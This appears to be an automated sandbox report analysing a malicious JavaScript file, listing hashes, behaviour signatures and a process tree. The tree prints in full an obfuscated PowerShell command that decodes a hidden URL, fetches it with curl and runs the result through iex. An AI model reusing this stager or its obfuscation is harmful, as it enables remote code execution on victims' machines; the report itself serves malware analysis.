Analysis

  • max time kernel
    93s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-12-2024 15:04

General

  • Target

    cbf48e717b0cc3f95e338deb6607482dc1d58957b286f831308c98a80fb98985.js

  • Size

    153KB

  • MD5

    e9878ff72379271b3bd05134c456844f

  • SHA1

    63e47cbf93f84e771ff00b62f88d12a544e282aa

  • SHA256

    cbf48e717b0cc3f95e338deb6607482dc1d58957b286f831308c98a80fb98985

  • SHA512

    ad1d728f26dccc1a18a709f7691614a54b8e6fd9b23d7ec3a67e8e08d64092ed5f638836d83fdc5e434e04a0c4cb41086876ca1c6931376d6576685d0f30d1ba

  • SSDEEP

    1536:nwgfiEWNK0XGKMr5GY0WNK0XGKM+5GYz5GYDWNK0XGKMLWNK0XGKMi:nxAuK0uKAuKTuKr

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\cbf48e717b0cc3f95e338deb6607482dc1d58957b286f831308c98a80fb98985.js
    1⤵
      PID:3592
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell $esvromktugcxzj='ur' ;new-alias printout c$($esvromktugcxzj)l;$kvtsbpcjze=(7126,7137,7145,7129,7131,7126,7146,7145,7150,7083,7145,7079,7126,7074,7144,7139,7140,7075,7077,7074,7140,7132,7140,7091,7143,7089,7137,7133,7138,7144,7143,7078,7077);$jhbarlwzusmn=('bronx','get-cmdlet');$vcmwspfz=$kvtsbpcjze;foreach($wtomkegbzh in $vcmwspfz){$thkwpziux=$wtomkegbzh;$nflhptq=$nflhptq+[char]($thkwpziux-7028);$wpzvcabgy=$nflhptq; $jvrniaumwbg=$wpzvcabgy};$ejxsoazrw[2]=$jvrniaumwbg;$jedobi='rl';$agfuhmjpx=1;.$([char](9992-9887)+'e'+'x')(printout -useb $jvrniaumwbg)
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4568
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $esvromktugcxzj='ur' ;new-alias printout c$($esvromktugcxzj)l;$kvtsbpcjze=(7126,7137,7145,7129,7131,7126,7146,7145,7150,7083,7145,7079,7126,7074,7144,7139,7140,7075,7077,7074,7140,7132,7140,7091,7143,7089,7137,7133,7138,7144,7143,7078,7077);$jhbarlwzusmn=('bronx','get-cmdlet');$vcmwspfz=$kvtsbpcjze;foreach($wtomkegbzh in $vcmwspfz){$thkwpziux=$wtomkegbzh;$nflhptq=$nflhptq+[char]($thkwpziux-7028);$wpzvcabgy=$nflhptq; $jvrniaumwbg=$wpzvcabgy};$ejxsoazrw[2]=$jvrniaumwbg;$jedobi='rl';$agfuhmjpx=1;.$([char](9992-9887)+'e'+'x')(printout -useb $jvrniaumwbg)
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3572

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ju5difmy.xpp.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/3572-0-0x00007FFB52733000-0x00007FFB52735000-memory.dmp

      Filesize

      8KB

    • memory/3572-6-0x00000289A4900000-0x00000289A4922000-memory.dmp

      Filesize

      136KB

    • memory/3572-11-0x00007FFB52730000-0x00007FFB531F1000-memory.dmp

      Filesize

      10.8MB

    • memory/3572-12-0x00007FFB52730000-0x00007FFB531F1000-memory.dmp

      Filesize

      10.8MB

    • memory/3572-13-0x00007FFB52730000-0x00007FFB531F1000-memory.dmp

      Filesize

      10.8MB

    • memory/3572-14-0x00007FFB52730000-0x00007FFB531F1000-memory.dmp

      Filesize

      10.8MB

    • memory/3572-15-0x00007FFB52733000-0x00007FFB52735000-memory.dmp

      Filesize

      8KB

    • memory/3572-16-0x00007FFB52730000-0x00007FFB531F1000-memory.dmp

      Filesize

      10.8MB

    • memory/3572-19-0x00007FFB52730000-0x00007FFB531F1000-memory.dmp

      Filesize

      10.8MB